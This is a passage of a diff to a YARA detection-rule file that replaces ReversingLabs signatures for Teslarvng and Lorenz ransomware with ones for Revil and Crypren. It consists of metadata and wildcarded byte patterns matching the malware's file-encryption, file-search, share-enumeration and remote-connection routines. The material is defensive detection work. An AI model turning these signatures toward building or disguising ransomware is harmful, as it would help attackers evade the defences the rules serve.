-		modified = "2020-12-14"
+		id = "67c2f49e-b9dc-5900-a89d-49ba41088ac3"
+		date = "2020-07-15"
+		modified = "2020-07-15"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.Teslarvng.yara#L1-L137"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "670621aa196a80fbb694e4b1690d7da60e881c5b826133939e61cd6c2406ea98"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.Revil.yara#L1-L101"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "24a79477eb797d7a7121d1248ebbece833ccd256de55729ff96084135ce8d426"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -37744,127 +39003,90 @@ rule REVERSINGLABS_Win32_Ransomware_Teslarvng : TC_DETECTION MALICIOUS MALWARE F
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "Teslarvng"
+		tc_detection_name = "Revil"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
-		$encrypt_files_p1 = {
-            53 8B DC 83 EC ?? 83 E4 ?? 83 C4 ?? 55 8B 6B ?? 89 6C 24 ?? 8B EC 6A ?? 68 ?? ?? ??
-            ?? 64 A1 ?? ?? ?? ?? ?? ?? ?? ?? A8 ?? 00 00 A1 ?? ?? ?? ?? ?? ?? ?? ?? EC 56 57 50
-            8D 45 ?? 64 A3 ?? ?? ?? ?? ?? ?? ?? ?? C9 89 4D ?? 89 4D ?? 8B 73 ?? 8B 43 ?? 89 75
-            ?? 89 45 ?? 3B F0 0F 84 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? 8B 06 8D 04 40 C1 E0 ?? 89 45
-            ?? 8B 04 02 8B 40 ?? 8B 30 3B F0 0F 84 ?? ?? ?? ?? A1 ?? ?? ?? ?? ?? ?? ?? ?? 3D ??
-            ?? ?? ?? 10 89 ?? ?? ?? ?? E3 ?? 00 0F 43 05 ?? ?? ?? ?? 89 45 ?? C6 45 ?? ?? 33 C0
-            83 C9 ?? 66 89 45 ?? 89 4D ?? 8D 4D ?? 8B 47 ?? 40 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ??
-            ?? ?? ?? 50 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 7F ?? ?? 8B
-            C7 72 ?? 8B 07 FF 77 ?? 8D 4D ?? 50 E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 4D ?? E8
-            ?? ?? ?? ?? C6 45 ?? ?? 8D 4D ?? 6A ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 45 ?? ?? ??
-            ?? ?? 8D 95 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 33 C9 68 ?? ?? ?? ?? 0F 10 00 0F 11 85
-            ?? ?? ?? ?? F3 0F 7E 40 ?? 83 4D ?? ?? 66 0F D6 45 ?? 66 89 08 8D 8D ?? ?? ?? ?? C7
-            40 ?? ?? ?? ?? ?? C7 40 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? C6 45 ?? ?? 8D 85 ??
-            ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 6A ?? 0F 43 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 6A ??
-            6A ?? 68 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 89 45 ?? 83 F8 ?? 74 ?? 6A ?? 8D 4D ?? 51
-        }
-		$encrypt_files_p2 = {
-            FF 75 ?? FF 75 ?? 50 FF 15 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? FF 75 ?? FF 15 ??
-            ?? ?? ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 65 ?? ?? C6 45 ?? ?? 8D 8D
-            ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 65 ?? ?? C6 45 ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8B 4D ??
-            8B 41 ?? 89 45 ?? 83 78 ?? ?? 8B 48 ?? 89 4D ?? 72 ?? 8B 00 89 45 ?? C6 45 ?? ?? 33
-            C0 83 4D ?? ?? 8D 4D ?? 66 89 45 ?? 8B 47 ?? 40 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ??
-            ?? ?? 50 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 7F ?? ?? 8B 47
-            ?? 72 ?? 8B 3F 50 57 8D 4D ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ??
-            ?? ?? 68 ?? ?? ?? ?? 8D 55 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? C6 45 ?? ??
-            8D 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 6A ?? 0F 43 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A
-            ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B F8 83 FF ?? 74 ?? 6A ?? 8D 45
-            ?? 50 FF 75 ?? FF 75 ?? 57 FF 15 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? 57 FF 15 ?? ?? ??
-            ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 65 ?? ?? C6 45 ?? ?? 8D 4D ?? E8
-            ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? 8B 45 ?? 8B 36 8B 4D ?? 8B 04 02 3B 70 ?? 0F 85 ?? ??
-            ?? ?? 8B 75 ?? 83 C6 ?? 89 75 ?? 3B 75 ?? 0F 85 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D
-            4B ?? E8 ?? ?? ?? ?? 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 8B 4D ?? 33 CD E8 ?? ??
-            ?? ?? 8B E5 5D 8B E3 5B C2
-        }
-		$find_files = {
-            FF D6 83 F8 ?? 0F 85 ?? ?? ?? ?? 8D 43 ?? 50 BA ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ??
-            ?? ?? ?? 83 C4 ?? C6 45 ?? ?? 83 78 ?? ?? 72 ?? 8B 00 B2 ?? 8B C8 E8 ?? ?? ?? ?? C6
-            45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? C6 45
-            ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ??
-            ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 0F 1F 40 ?? 8D 85 ?? ?? ?? ?? 50
-            FF B5 ?? ?? ?? ?? 33 C9 8B 85 ?? ?? ?? ?? 03 8D ?? ?? ?? ?? 83 D0 ?? 50 51 FF B5 ??
-            ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? F6 85 ?? ?? ?? ?? ?? 0F 84 ??
-            ?? ?? ?? BA ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B C8 90 66 8B 31 66 3B 32 75 ?? 66 85 F6
-            74 ?? 66 8B 71 ?? 66 3B 72 ?? 75 ?? 83 C1 ?? 83 C2 ?? 66 85 F6 75 ?? 33 C9 EB ?? 1B
-            C9 83 C9 ?? 85 C9 74 ?? B9 ?? ?? ?? ?? 66 8B 10 66 3B 11 75 ?? 66 85 D2 74 ?? 66 8B
-            50 ?? 66 3B 51 ?? 75 ?? 83 C0 ?? 83 C1 ?? 66 85 D2 75 ?? 33 C0 EB ?? 1B C0 83 C8 ??
-            85 C0 74 ?? 8B 45 ?? 8D 8D ?? ?? ?? ?? 51 3B 45 ?? 74 ?? 8B C8 E8 ?? ?? ?? ?? 83 45
-            ?? ?? EB ?? 50 8D 4D ?? E8 ?? ?? ?? ?? EB ?? 8D 85 ?? ?? ?? ?? 50 8D 4D ?? E8 ?? ??
-            ?? ?? 8D 85 ?? ?? ?? ?? 50 57 FF 15 ?? ?? ?? ?? 8B F0 C6 45 ?? ?? FF B5 ?? ?? ?? ??
-            E8 ?? ?? ?? ?? 83 C4 ?? 85 F6 0F 85 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? FF D6 83 F8 ?? 0F
-            84 ?? ?? ?? ?? FF D6 8B D0
+		$search_files = {
+            55 8B EC 81 EC ?? ?? ?? ?? 53 56 8B 75 ?? 33 C0 57 8B 7D ?? 8B D8 50 56 89 45 ?? 89
+            5D ?? 89 45 ?? 89 45 ?? FF 57 ?? 59 59 85 C0 0F 84 ?? ?? ?? ?? 8D 45 ?? 56 50 E8 ??
+            ?? ?? ?? 53 56 FF 77 ?? FF 57 ?? 83 C4 ?? 01 47 ?? 11 57 ?? E9 ?? ?? ?? ?? 8B 45 ??
+            0B 45 ?? 74 ?? FF 33 56 E8 ?? ?? ?? ?? 8B F3 8B 5B ?? 89 5D ?? FF 36 E8 ?? ?? ?? ??
+            56 E8 ?? ?? ?? ?? 8B 45 ?? 83 C4 ?? 8B 4D ?? 83 C0 ?? 89 45 ?? 83 D1 ?? 0B C1 89 4D
+            ?? 75 ?? 21 45 ?? 8B 75 ?? 33 C0 40 85 C0 0F 84 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? C7 04
+            24 ?? ?? ?? ?? 56 89 45 ?? E8 ?? ?? ?? ?? 59 59 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ??
+            ?? ?? 89 45 ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ??
+            ?? ?? ?? 59 59 85 C0 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ??
+            ?? ?? 59 59 85 C0 0F 84 ?? ?? ?? ?? F7 85 ?? ?? ?? ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ??
+            8D 85 ?? ?? ?? ?? 50 8B 45 ?? 8D 04 46 50 E8 ?? ?? ?? ?? F6 85 ?? ?? ?? ?? ?? 59 59
+            74 ?? 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 56 FF 57 ?? 83 C4 ?? 85
+            C0 74 ?? 8D 45 ?? 56 50 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 56 FF 77 ?? FF 57 ?? 83
+            C4 ?? 01 47 ?? 11 57 ?? EB ?? 8B 85 ?? ?? ?? ?? 8B 9D ?? ?? ?? ?? 50 89 45 ?? 8D 85
+            ?? ?? ?? ?? 53 50 56 FF 57 ?? 83 C4 ?? 85 C0 74 ?? FF 75 ?? 8D 85 ?? ?? ?? ?? 53 50
+            56 FF 77 ?? FF 57 ?? 83 C4 ?? 01 47 ?? 11 57 ?? 83 3F ?? 75 ?? 8D 85 ?? ?? ?? ?? 50
+            FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? 8B 5D
+            ?? 83 3F ?? 0F 84 ?? ?? ?? ?? EB ?? 8B F3 8B 5B ?? FF 36 E8 ?? ?? ?? ?? 56 E8 ?? ??
+            ?? ?? 59 59 85 DB 75 ?? 5F 5E 5B 8B E5 5D C3
         }
-		$enum_shares_p1 = {
-            55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 A1 ?? ?? ?? ??
-            33 C5 89 45 ?? 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? ?? ?? ?? ?? 45 FC 00 00 00 00 8D
-            75 ?? 83 7D ?? ?? 6A ?? 0F 43 75 ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 8B F8 B8 ?? ?? ??
-            ?? 56 66 89 45 ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 89 45 ?? FF 15 ?? ?? ?? ?? 66 89
-            45 ?? 8D 45 ?? 50 68 ?? ?? ?? ?? 57 C7 45 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 6A ?? 8D
-            45 ?? 50 57 FF 15 ?? ?? ?? ?? 8D 45 ?? C7 45 ?? ?? ?? ?? ?? 50 8D 45 ?? 89 7D ?? 50
-            8D 45 ?? C7 45 ?? ?? ?? ?? ?? 50 6A ?? 6A ?? 89 7D ?? C7 45 ?? ?? ?? ?? ?? C7 45 ??
-            ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 0F 8E ?? ?? ?? ?? 83 7D ?? ?? 0F 87 ?? ?? ?? ??
-            83 7D ?? ?? 0F 86 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? 83 7D ?? ?? 8D 4D ?? 8B 75 ?? 0F
-            43 4D ?? 03 F1 C7 45 ?? ?? ?? ?? ?? 83 7D ?? ?? 8D 4D ?? C7 45 ?? ?? ?? ?? ?? 0F 43
-            4D ?? 33 C0 66 89 45 ?? 8B C6 2B C1 89 4D ?? 50 8D 4D ?? C7 45 ?? ?? ?? ?? ?? C7 45
-            ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ??
-            ?? ?? ?? FF 75 ?? 8D 4D ?? 56 FF 75 ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 4D ?? 83 7D ??
-            ?? 8D 45 ?? 6A ?? 0F 43 45 ?? 51 8D 4D ?? 51 6A ?? 8D 4D ?? 51 6A ?? 50 FF 15 ?? ??
-            ?? ?? 85 C0 74 ?? 3D ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 0F 57 C0 C7 45 ?? ?? ?? ?? ?? 66
+		$remote_connection = {
+            55 8B EC 81 EC ?? ?? ?? ?? 56 57 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 6A ?? 68 ?? ??
+            ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 33 F6 33 C0 66 89 85 ?? ?? ?? ?? 8D 85
+            ?? ?? ?? ?? 56 56 56 56 50 FF 15 ?? ?? ?? ?? 8B F8 33 C0 89 7D ?? 85 FF 0F 84 ?? ??
+            ?? ?? 66 89 45 ?? 33 C9 8D 45 ?? C7 45 ?? ?? ?? ?? ?? 50 56 56 FF 75 ?? 41 89 75 ??
+            89 75 ?? 89 75 ?? 89 75 ?? 89 4D ?? 89 75 ?? 89 75 ?? 89 75 ?? 89 75 ?? 89 75 ?? 89
+            4D ?? 89 75 ?? 89 75 ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? 57 FF 15 ?? ?? ?? ?? 33 C0 E9
+            ?? ?? ?? ?? 8B 4D ?? 33 D2 8B 45 ?? 53 56 66 89 14 41 FF 75 ?? FF 75 ?? 57 FF 15 ??
+            ?? ?? ?? 8B D8 89 5D ?? 85 DB 75 ?? 57 EB ?? 8B 45 ?? 66 39 30 75 ?? 6A ?? 59 66 89
+            08 8D 45 ?? 50 6A ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 33
+            C0 83 7D ?? ?? B9 ?? ?? ?? ?? 66 89 45 ?? 0F 44 C1 0D ?? ?? ?? ?? 50 56 56 56 FF 75
+            ?? 8D 45 ?? 50 53 FF 15 ?? ?? ?? ?? 8B D8 85 DB 75 ?? 57 FF 15 ?? ?? ?? ?? FF 75 ??
+            FF 15 ?? ?? ?? ?? 33 C0 E9 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B FE 50 6A ?? 6A ?? 68 ??
+            ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 66 89 45 ?? 56 FF 75 ?? 8D 85
+            ?? ?? ?? ?? FF 75 ?? FF 75 ?? 6A ?? 50 53 FF 15 ?? ?? ?? ?? 85 C0 75 ?? E8 ?? ?? ??
+            ?? 3D ?? ?? ?? ?? 75 ?? 6A ?? 8D 45 ?? C7 45 ?? ?? ?? ?? ?? 50 6A ?? 53 FF 15 ?? ??
+            ?? ?? 85 C0 6A ?? 58 0F 45 F8 85 FF 75 ?? 8B 45 ?? 56 53 89 30 FF 15 ?? ?? ?? ?? 8B
+            7D ?? 85 C0 74 ?? 56 8D 45 ?? 89 75 ?? 50 8D 45 ?? C7 45 ?? ?? ?? ?? ?? 50 56 68 ??
+            ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 8B 4D ?? F7 D8 1B C0 23 45 ?? 89 01 3D ?? ?? ?? ?? 75
+            ?? FF 75 ?? 53 E8 ?? ?? ?? ?? 59 59 8B F0 57 FF 15 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ??
+            ?? ?? 53 FF 15 ?? ?? ?? ?? 8B C6 5B 5F 5E 8B E5 5D C3
         }
-		$enum_shares_p2 = {
-            0F D6 45 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ??
-            ?? 33 F6 8B 55 ?? 85 D2 0F 84 ?? ?? ?? ?? 33 FF 8B 4D ?? 8B 44 39 ?? 85 C0 74 ?? 3D
-            ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 8B 14 39 33 C0 66 89 45 ?? 8B C2 C7 45 ?? ?? ?? ?? ??
-            C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 48 ?? C7 45 ?? ?? ?? ?? ?? 89 4D ?? 66
-            8B 08 83 C0 ?? 66 85 C9 75 ?? 2B 45 ?? 8D 4D ?? D1 F8 50 52 E8 ?? ?? ?? ?? C6 45 ??
-            ?? 8B 45 ?? 3B 45 ?? 74 ?? 0F 10 45 ?? C7 40 ?? ?? ?? ?? ?? 0F 11 00 F3 0F 7E 45 ??
-            66 0F D6 40 ?? 33 C0 83 45 ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 66 89 45
-            ?? EB ?? 8D 4D ?? 51 50 8D 4D ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 4D ?? E8 ?? ?? ?? ??
-            8B 55 ?? 46 83 C7 ?? 3B F2 0F 82 ?? ?? ?? ?? 8B 45 ?? 8B 75 ?? 3B 45 ?? 0F 84 ?? ??
-            ?? ?? FF 76 ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 46 ?? 83 7D ?? ??
-            8B 7D ?? 89 45 ?? 8D 45 ?? 0F 43 45 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ??
-            ?? ?? ?? ?? ?? 89 45 ?? 83 FF ?? 73 ?? 0F 10 00 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 0F 11
-            85 ?? ?? ?? ?? EB ?? 8B F7 8D 8D ?? ?? ?? ?? B8 ?? ?? ?? ?? 83 CE ?? 3B F0 0F 47 F0
+		$encrypt_files = {
+            55 8B EC 51 83 7D ?? ?? 53 56 57 BB ?? ?? ?? ?? 7F ?? 7C ?? 39 5D ?? 73 ?? 8B 5D ??
+            8B 7D ?? 8D 83 ?? ?? ?? ?? 50 57 E8 ?? ?? ?? ?? 59 59 EB ?? E8 ?? ?? ?? ?? 83 F8 ??
+            75 ?? 6A ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? 50 57 E8 ?? ?? ?? ?? 83 C4 ?? 8B F0 85
+            F6 74 ?? 89 9E ?? ?? ?? ?? 8B 5D ?? C7 45 ?? ?? ?? ?? ?? EB ?? 33 C0 EB ?? E8 ?? ??
+            ?? ?? 8B 55 ?? 8B CA 4A 89 55 ?? 85 C9 74 ?? 83 F8 ?? 75 ?? 53 FF 15 ?? ?? ?? ?? 83
+            F8 ?? 74 ?? A8 ?? 74 ?? 68 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 6A ?? 6A ??
+            68 ?? ?? ?? ?? FF 75 ?? FF 75 ?? 53 56 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 ?? 56 E8 ??
+            ?? ?? ?? 8B C6 59 5F 5E 5B 8B E5 5D C3 56 57 E8 ?? ?? ?? ?? 59 33 C0 EB
         }
-		$enum_shares_p3 = {
-            8D 46 ?? 50 E8 ?? ?? ?? ?? 8D 0C 7D ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 51 FF 75 ?? 50 E8
-            ?? ?? ?? ?? 83 C4 ?? 89 B5 ?? ?? ?? ?? 89 BD ?? ?? ?? ?? C6 45 ?? ?? 8B 45 ?? 8B 7D
-            ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 89 45 ??
-            3B F8 0F 84 ?? ?? ?? ?? 2B C7 C1 F8 ?? 69 F0 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 89 85 ??
-            ?? ?? ?? 8D 0C 76 89 45 ?? 8D 04 C8 89 45 ?? 8D 85 ?? ?? ?? ?? 89 45 ?? C6 45 ?? ??
-            0F 57 C0 8B B5 ?? ?? ?? ?? 66 0F D6 45 ?? C7 45 ?? ?? ?? ?? ?? 89 75 ?? 89 75 ?? 89
-            45 ?? C6 45 ?? ?? 66 90 57 8B CE E8 ?? ?? ?? ?? 83 C6 ?? 83 C7 ?? 89 75 ?? 3B 7D ??
-            75 ?? 89 75 ?? C6 45 ?? ?? 89 75 ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? C6 45 ?? ?? 8D
-            85 ?? ?? ?? ?? 8B 4D ?? 50 8D 45 ?? 50 E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ??
-            E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 75 ?? FF 76 ?? E8 ??
-            ?? ?? ?? 83 C4 ?? 85 C0 0F 85 ?? ?? ?? ?? C6 45 ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? EB ??
-            8B 75 ?? FF 75 ?? FF 15 ?? ?? ?? ?? 8B 06 F0 FF 08 C6 45 ?? ?? 8D 4D ?? E8 ?? ?? ??
-            ?? EB ?? 57 FF 15 ?? ?? ?? ?? 8B 75
+		$enum_resources = {
+            55 8B EC 83 EC ?? 8D 45 ?? 50 FF 75 ?? 6A ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 85 C0 74
+            ?? 33 C0 E9 ?? ?? ?? ?? 83 4D ?? ?? B8 ?? ?? ?? ?? 57 50 89 45 ?? E8 ?? ?? ?? ?? 8B
+            F8 59 85 FF 75 ?? FF 75 ?? FF 15 ?? ?? ?? ?? 33 C0 EB ?? 53 56 8D 45 ?? 50 57 8D 45
+            ?? 50 FF 75 ?? FF 15 ?? ?? ?? ?? 89 45 ?? 85 C0 75 ?? 33 DB 39 5D ?? 76 ?? 8D 77 ??
+            83 7E ?? ?? 75 ?? FF 75 ?? FF 36 E8 ?? ?? ?? ?? 59 59 F6 46 ?? ?? 74 ?? 8D 46 ?? 50
+            FF 75 ?? E8 ?? ?? ?? ?? 59 59 43 83 C6 ?? 3B 5D ?? 72 ?? 8B 45 ?? 3D ?? ?? ?? ?? 75
+            ?? 57 E8 ?? ?? ?? ?? 59 FF 75 ?? FF 15 ?? ?? ?? ?? F7 D8 5E 1B C0 40 5B 5F 8B E5 5D
+            C3
         }
 
 	condition:
-		uint16(0)==0x5A4D and ( all of ($enum_shares_p*)) and ($find_files) and ( all of ($encrypt_files_p*))
+		uint16(0)==0x5A4D and ($enum_resources) and ($search_files) and ($encrypt_files) and ($remote_connection)
 }
-rule REVERSINGLABS_Win32_Ransomware_Lorenz : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Win32_Ransomware_Crypren : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects Lorenz ransomware."
+		description = "Yara rule that detects Crypren ransomware."
 		author = "ReversingLabs"
-		id = "cc97dd15-d518-5d9f-9384-3dcf81e34e81"
-		date = "2022-10-24"
-		modified = "2022-10-24"
+		id = "9a6ff190-b26b-5b75-9103-95a3b2e80701"
+		date = "2020-07-15"
+		modified = "2020-07-15"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.Lorenz.yara#L1-L252"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "b8668fcc560d264c37e3fbb52d5a5f1223a282abd9e984b3109efe9ab454be9f"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.Crypren.yara#L1-L144"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "7047d48782762e42544063fde6f2be62eb19f22853ea84abb5bce67c962da172"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -37872,211 +39094,228 @@ rule REVERSINGLABS_Win32_Ransomware_Lorenz : TC_DETECTION MALICIOUS MALWARE FILE
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "Lorenz"
+		tc_detection_name = "Crypren"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
-		$encrypt_files_v1_p1 = {
-            BE ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? A5 6A ?? 6A ?? 68 ?? ?? ?? ?? FF B5 ?? ??
-            ?? ?? A5 A5 A4 8B 35 ?? ?? ?? ?? FF D6 89 85 ?? ?? ?? ?? 33 C0 50 68 ?? ?? ?? ?? 6A
-            ?? 50 50 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF D6 68 ?? ?? ?? ?? 6A ?? 6A ?? 89 85
-            ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A ?? 50 FF 15 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 85 C0 75
-            ?? FF D6 8B 3D ?? ?? ?? ?? 6A ?? FF B5 ?? ?? ?? ?? FF D7 EB ?? 8B 3D ?? ?? ?? ?? 8D
-            85 ?? ?? ?? ?? 50 6A ?? 6A ?? 68 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85
-            C0 75 ?? FF D6 6A ?? FF B5 ?? ?? ?? ?? FF D7 6A ?? 6A ?? 53 FF B5 ?? ?? ?? ?? FF 15
-            ?? ?? ?? ?? 85 C0 75 ?? FF D6 8D 85 ?? ?? ?? ?? 33 DB 50 53 FF B5 ?? ?? ?? ?? 68 ??
-            ?? ?? ?? FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? FF D6 53 FF B5 ?? ?? ?? ??
-            FF D7 6A ?? 8D 45 ?? 53 50 E8 ?? ?? ?? ?? 83 C4 ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ??
-            ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 53 8B 9D ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 8B
-            0D ?? ?? ?? ?? 83 A5 ?? ?? ?? ?? ?? 89 4D ?? 66 8B 0D ?? ?? ?? ?? 66 89 4D ?? 8D 4D
-            ?? 89 85 ?? ?? ?? ?? 8D 51 ?? 8A 01 41 84 C0 75 ?? 8B B5 ?? ?? ?? ?? 8D 85 ?? ?? ??
-            ?? 6A ?? 50 2B CA 8D 45 ?? 51 50 56 FF 15 ?? ?? ?? ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 68
-            ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? E9 ?? ?? ?? ?? 6A ?? 33 C0 50 50
-        }
-		$encrypt_files_v1_p2 = {
-            50 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 33 D2 42 3B C2 75 ?? 83 BD ?? ?? ?? ?? ??
-            0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15
-            ?? ?? ?? ?? 33 D2 42 83 BD ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 03 8D
-            ?? ?? ?? ?? 3B 8D ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 6A ?? 89 8D ?? ?? ?? ?? 0F 44 C2 8D
-            8D ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 51 8D 4D ?? 51 6A ?? 50 6A ?? FF B5 ?? ?? ?? ?? FF
